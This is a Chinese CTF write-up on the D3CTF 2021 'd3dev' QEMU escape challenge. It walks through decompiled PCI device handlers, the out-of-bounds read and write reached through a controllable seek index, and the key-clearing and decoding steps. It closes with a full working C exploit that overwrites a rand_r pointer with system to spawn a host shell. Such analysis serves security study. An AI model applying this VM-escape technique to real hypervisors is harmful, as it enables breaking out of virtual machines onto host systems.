#!/bin/sh
mkdir /tmpmount -t tmpfs none /tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /dev
exec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/console
mdev -s
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"echo "Interactive mode\n"setsid /bin/cttyhack setuidgid 0 /bin/sh # 0 即為rootumount /procumount /syspoweroff -d 0 -f這題當時比賽的時沒有做出來(主要是去玩某個新玩具了,也沒做過這類題目,所以就沒繼續做下去)。最後在github上找到的一個6小時前創建的叫d3ctf-2021-pwn-d3dev的倉庫,據Readme來看應該是出題人發的,簡單的講了一下解題思路,丟了個exp,於是我也跟著分析、復現了一次,順便也寫個文章記錄一下~1. Qemu
qemu的基本就是模擬了CPU、內存、I/O設備以及其他設備,如果開啟了kvm,kvm會實現CPU以及內存的虛擬。CTF的qemu逃逸類題目基本上都是直接修改了qemu的源碼,在這題裡面,出題人在qemu裡添加了一個pci設備,解題思路是通過設備中的漏洞以此獲取host機上的flagqemu的詳細實現原理因為有大佬詳細講過了,想要了解的可以在文末找到相關主題連結自行閱讀。2. PCI設備與qemu的虛擬設備進行I/O交互通常有以下兩種方式,分別是MMIO和PMIO,區別在於是否與設備共享內存,在這題裡面我們兩種都有用到。(1) 內存映射(MMIO)這種方法簡單來講就是直接操作I/O設備的共享內存空間,以此來交互,實現方法就是直接調用mmap映射內存,然後直接通過指針讀寫。
mmap的fd參數為open以下兩個文件之一,flags參數需要傳遞MAP_SHARED屬性。a.設備內存據說(據說有些題目用不到這種): /sys/devices/pci0000:00/0000:00:??.?/resource0(2) 埠映射(PMIO)(resource1)不共享內存空間,需要調用inx和outx函數來進行交互(要先調用iopl(3)來提權)直接把qemu丟進IDA分析,然後看一下qemu的啟動腳本,可以看到有個device參數後面跟了個d3dev,這應該就是漏洞所在的設備名。
#!/bin/sh./qemu-system-x86_64 \-L pc-bios/ \-m 128M \-kernel vmlinuz \-initrd rootfs.img \-smp 1 \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \-device d3dev \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \因為qemu二進位文件裡有DWARF(調試信息),所以直接通過搜索函數名來定位相關函數是可以的,這裡還有一種方法是從_start開始逐步跟下去找到初始化表,然後定位pci設備的註冊表。
具體流程: _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types找到虛擬設備的info表後,我們可以定位到設備的初始化函數d3dev_class_init。
在函數d3dev_class_init裡,我們可以找到設備的vendor_id和device_id,這兩個值在後面查詢pci設備的時候會用到,這裡我們先記下來。void __fastcall d3dev_class_init(ObjectClass_0 *a1, void *data){ PCIDeviceClass_0 *v2; v2 = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert( a1, (const char *)&env.tlb_table[1][115]._anon_0.dummy[31], "/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c", 229, "d3dev_class_init"); v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_d3dev_realize; v2->exit = 0LL; *(_DWORD *)&v2->vendor_id = 0x11E82333; v2->revision = 0x10; v2->class_id = 0xFF;}跟進pci_d3dev_realize函數裡,這裡分別定義了設備的兩種I/O交互操作函數(即mmio和pmio)以及共享區域的大小(mmio為0x800),以便qemu檢查是否越界。void __fastcall pci_d3dev_realize(d3devState *pdev, Error_0 **errp){ memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL); pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio); memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL); pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);}在d3dev_mmio_ops和d3dev_pmio_ops兩個結構體裡面,可以找到對應的read、write函數: d3dev_mmio_read、d3dev_mmio_write和d3dev_pmio_read、d3dev_pmio_write 這四個。.data.rel.ro:0000000000B78980 d3dev_mmio_ops dq offset d3dev_mmio_read; read.data.rel.ro:0000000000B78980 dq offset d3dev_mmio_write; write....data.rel.ro:0000000000B78920 d3dev_pmio_ops dq offset d3dev_pmio_read; read.data.rel.ro:0000000000B78920 dq offset d3dev_pmio_write; write逐個函數分析,我們可以看到d3dev_mmio_write函數裡面有一個任意寫:void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){ ... if ( size == 4 ) { offset = opaque->seek + (unsigned int)(addr >> 3); if ( opaque->mmio_write_part ) { ... } else { opaque->mmio_write_part = 1; opaque->blocks[offset] = (unsigned int)val; } }}通過查看結構體我們可以發現blocks的大小剛好是0x800,也就是我們共享內存的區域,在這裡我們有val、addr可控,但實際上不能通過直接控制addr來溢出,因為PCI設備在內部會檢查這個地址是否越界。這裡其實seek的值也是可控的,具體在d3dev_pmio_write函數裡,控制seek我們就可以利用這個任意寫漏洞。(注意這裡是通過index的方式訪問內存,數組元素大小為8位元組)void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t *key; if ( addr == 8 ) { if ( val <= 0x100 ) opaque->seek = val; } ...}這裡我們可以看到val值可以是0-0x100之間的任意值,相當於可以溢出控制0x800大小的內存。uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size){ ... data = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]; low = data; high = HIDWORD(data); ... return high;}繼續分析其他函數,我們可以看到d3dev_mmio_read函數裡其實還有任意讀漏洞,分析到這裡我們就有了任意讀寫d3devState這個結構體附近的內存。現在我們接著分析,看看有什麼地方可以利用來執行system("sh")。void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t *key; if ( addr == 8 ) { ... } else if ( addr > 8 ) { if ( addr == 28 ) { opaque->r_seed = val; key = opaque->key; do *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)( &opaque->r_seed, 28LL, val, *(_QWORD *)&size); while ( key != (uint32_t *)&opaque->rand_r ); } } ...}還是d3dev_pmio_write這個函數裡(前文對這個函數的這部分進行了省略),通過rand_r指針調用了函數,函數的首個參數是r_seed,r_seed這個值我們可以直接通過val控制(這裡直接寫字符串"sh"即可),而rand_r的值需要我們用任意寫來修改(改成system的地址),這樣我們就成功獲取了宿主機的shell。
加解密流程
前面在講任意讀、寫漏洞的時候我們省略了加解密的過程,這裡簡單的說一下,我們先分析d3dev_mmio_read函數:uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size){ uint64_t data; unsigned int i; unsigned int low; uint64_t high; ... i = 0xC6EF3720; low = data; high = HIDWORD(data); do { LODWORD(high) = high - ((low + i) ^ (opaque->key[3] + (low >> 5)) ^ (opaque->key[2] + 16 * low)); low -= (high + i) ^ (opaque->key[1] + ((unsigned int)high >> 5)) ^ (opaque->key[0] + 16 * high); i += 0x61C88647; } while ( i ); ... return high;}我們讀出數據的時候數據被進行了異或加密的處理,其中16low這裡算一下相當於左移4位(直接看彙編也可以)。
其次是這裡用到了結構體裡面的key數組,通過分析可以知道這個key參數實際上是可控的,通過調用d3dev_pmio_write函數可以*直接清零整個key數組。void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t *key; if ( addr == 8 ) { ... } else if ( addr > 8 ) { ... } else if ( addr ) { if ( addr == 4 ) { *(_QWORD *)opaque->key = 0LL; *(_QWORD *)&opaque->key[2] = 0LL; } } else { ... }}在這裡我們可以看到ida的反彙編結果有一個類型強轉,0是64位,而key則是有4個32位元素的數組,這兩行操作相當於清零了整個key數組。至於這個函數裡對數據的解密實際上只是加密的逆操作(就是F5出來難看了點),不詳細討論。2. 計算seek值由於我們需要把rand_r的地址覆蓋成system的地址,接下來我們需要計算共享內存開始到rand_r的偏移。00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)00000000 pdev PCIDevice_0 ?000008E0 mmio MemoryRegion_0 ?000009D0 pmio MemoryRegion_0 ?00000AC0 memory_mode dd ?00000AC4 seek dd ?00000AC8 init_flag dd ?00000ACC mmio_read_part dd ?00000AD0 mmio_write_part dd ?00000AD4 r_seed dd ?00000AD8 blocks dq 257 dup(?)000012E0 key dd 4 dup(?)000012F0 rand_r dq ? ; offset000012F8 db ? ; undefined000012F9 db ? ; undefined000012FA db ? ; undefined000012FB db ? ; undefined000012FC db ? ; undefined000012FD db ? ; undefined000012FE db ? ; undefined000012FF db ? ; undefined00001300 d3devState ends從前面任意寫漏洞我們可以知道blocks即使我們共享內存的區域,從blocks到rand_r的偏移是0x818,blocks是8位元組數組,計算0x818/8=0x103也就是數組的index值,我們可以直接把seek的值設置成0x100,然後將addr往後偏移3*8=24個字節即可對rand_r進行修改。3. 獲取基址設備的pci地址我們可以直接通過執行指令lspci來查看:# lspci00:01.0 Class 0601: 8086:700000:04.0 Class 0200: 8086:100e00:00.0 Class 0600: 8086:123700:01.3 Class 0680: 8086:711300:03.0 Class 00ff: 2333:11e800:01.1 Class 0101: 8086:701000:02.0 Class 0300: 1234:1111通過開頭記下的vendor_id和device_id我們可以看出00:03.0對應的就是d3dev設備pci,然後通過cat /sys/devices/pci0000:00/0000:00:03.0/resource可以找到mmio和pmio的基址。0x00000000febf1000 0x00000000febf17ff 0x00000000000402000x000000000000c040 0x000000000000c05f 0x00000000000401010x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x0000000000000000febf1000即為mmio基址,c040即為pmio基址。
這題由於可以直接通過靜態分析的結果寫出exp,故省略gdb調試qemu環節。(其實主要因為我不會調試docker裡的qemu,有大佬知道可以留言)
exp可以通過兩種方法傳到客戶機,分別是直接通過python腳本壓縮然後b64上傳(遠程),或者直接修改rootfs然後重新打包回去。這裡介紹第二種方法,為了方便測試我們可以直接寫一個Makefile。exp: musl-gcc exp.c -o exp --static -Os strip -s exp find . | cpio -H newc -ov -F ../rootfs.cpio rm exp之後我們直接cd到rootfs然後make即可,記得也要修改一下launch.sh,將rootfs.img改為rootfs.cpio。
然後根據題目readme重新打包docker鏡像、運行即可。至於第一種方法,基本上腳本都一樣的寫法,沒什麼好說的。
#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include <sys/io.h> #define libc_system_offset 0x55410#define libc_rand_r_offset 0x4aeb0 const uint32_t mmio_phy_base = 0xfebf1000;const uint32_t mmio_mem_size = 0x800;const uint32_t pmio_phy_base = 0xc040; const char sys_mem_file[] = "/dev/mem"; uint64_t mmio_mem = 0x0; int die(const char *err_info){ printf("[-] Exit with: %s\n.", err_info); exit(-1);} void *mmap_file(const char *filename, uint32_t size, uint32_t offset){ int fd = open(filename, O_RDWR|O_SYNC); if(fd<0){ printf("[-] Can not open file: '%s'.\n", filename); die("OPEN ERROR!"); } void *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset); if(ptr==MAP_FAILED){ printf("[-] Can not mmap file: '*%s'.\n", filename); die("MMAP ERROR!"); } close(fd); return ptr;} void mmio_write(uint64_t addr, uint64_t val){ *(uint64_t *)(mmio_mem+addr) = val;} uint64_t mmio_read(uint64_t addr){ return *(uint64_t *)(mmio_mem+addr);} void pmio_write(uint32_t addr, uint32_t val){ outl(val, pmio_phy_base+addr);} uint32_t pmio_read(uint32_t addr){ return inl(pmio_phy_base+addr);} void decode(uint32_t v[2]){ uint32_t i = 0; do{ i -= 0x61C88647; v[0] += ((v[1]<<4))^(v[1]+i)^((v[1]>>5)); v[1] += ((v[0]<<4))^(v[0]+i)^((v[0]>>5)); } while(i!=0xC6EF3720);} void encode(uint32_t v[2]){ uint32_t i = 0xC6EF3720; do{ v[1] -= ((v[0]<<4))^(v[0]+i)^((v[0]>>5)); v[0] -= ((v[1]<<4))^(v[1]+i)^((v[1]>>5)); i += 0x61C88647; } while(i);} int main(){ mmio_mem = (uint64_t)mmap_file(sys_mem_file, mmio_mem_size, mmio_phy_base); printf("[+] Mmap mmio physical memory to [%p-%p].\n", (void *)mmio_mem, (void *)(mmio_mem+mmio_mem_size)); if(iopl(3)) die("PMIO PERMISSION ERROR!"); pmio_write(0, 1); pmio_write(4, 0); pmio_write(8, 0x100); printf("[*] Set block seek: %#x.\n", pmio_read(8)); uint64_t glibc_randr = mmio_read(24); decode(&glibc_randr); printf("[*] rand_r@glibc %#lx.\n", glibc_randr); uint64_t glibc_system = glibc_randr-libc_rand_r_offset+libc_system_offset; printf("[+] system@glibc: %#lx.\n", glibc_system); encode(&glibc_system); printf("[*] Overwrite rand_r ptr.\n"); mmio_write(24, glibc_system); pmio_write(28, 0x6873); return 0;}不出意外執行結果是這樣的,我們成功獲取到了host的shell:
[原創]QEMU逃逸初探-二進位漏洞 - 看雪論壇:https://bbs.pediy.com/thread-265501.htmhttps://www.anquanke.com/post/id/197650https://github.com/yikesoftware/d3ctf-2021-pwn-d3dev
https://github.com/lakwsh/d3ctf-2021-d3devhttps://pan.baidu.com/share/init?surl=1sRN5hMARkkiUpsHYlByyg
看雪ID:lakwsh
https://bbs.pediy.com/user-home-678520.htm
*本文由看雪論壇 lakwsh 原創,轉載請註明來自看雪社區。